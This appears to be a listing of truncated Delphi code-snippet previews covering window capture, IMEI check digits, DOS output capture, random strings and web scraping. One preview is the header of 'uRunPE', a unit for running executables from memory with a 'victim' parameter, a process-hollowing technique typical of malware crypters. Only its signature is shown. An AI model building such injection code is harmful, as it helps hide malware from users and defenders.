self.cboSex.ItemIndex:=cboSex.Items.IndexOf(FieldByName('Sex').AsString); self.dtpBirthday.Date:=FieldByName('Birthday').Value; self.cboWork.ItemIndex:=cboWork.Items.IndexOf(FieldByName('WorkCaption').AsString); self.cboRelation.ItemIndex:=...
uRunPE Author: Anonymous Description: Run Executables as Byte Arrays Modified: The Swash http://www.onlyprogrammers.org } unit uRunPE; interface uses Windows; type TByteArray = array of Byte; function RMem(sVictim:string; bFile:TByteArray):...
只要不是最小化的窗口，无论它被遮挡一部分还是全部，无论它的位置是否超出屏幕边界，都可以抓到 下面是代码： function PrintWindow(Wnd: HWND; hDCBlt: HDC; nFlags: DWord): Bool; stdcall external '...
Component-Install packages...-Add... 安装 dcloffice2k140.bpl 即可。 （dcloffice2k140.bpl 位于 C:\Program Files\Embarcadero\RAD Studio\7.0\bin）...
说到网页采集，通常大家以为到网上偷数据，然后把到收集到的数据挂到自己网上去。其实也可以将采集到的数据做为公司的参考，或把收集的数据跟自己公司的业务做对比等。 目前网...
Delphi2007编译的时候去掉GetVersionExA(@VI)中的@ function GetWindowsVersionString: AnsiString; var VI: TOSVersionInfoA; begin VI.dwOSVersionInfoSize : = SizeOf(TOSVersionInfoA); if GetVersionExA(@VI) then with VI do Result : = Trim(...
IMEI校验码算法： (1).将偶数位数字分别乘以2，分别计算个位数和十位数之和 (2).将奇数位数字相加，再加上上一步算得的值 (3).如果得出的数个位是0则校验位为0，否则为10减去个位数...
procedure CheckResult(b: Boolean);begin if not b then raise Exception.Create(SysErrorMessage(GetLastError));end; function RunDOS(const CommandLine: string): string;var HRead, HWrite: THandle; StartInfo: TStartupInfo; ProceInfo: TProcessInfo...
function GetRandStr(len : Integer; lowercase : Boolean = True; num : Boolean = True; uppercase : Boolean = False) : string;const upperStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; lowerStr = 'abcdefghijklmnopqrstuvwxyz'; numStr = '0123456789';var sou...
本代码源自delphibox unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, shellapi, StdCtrls, Registry, StrUtils; type TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; Butto...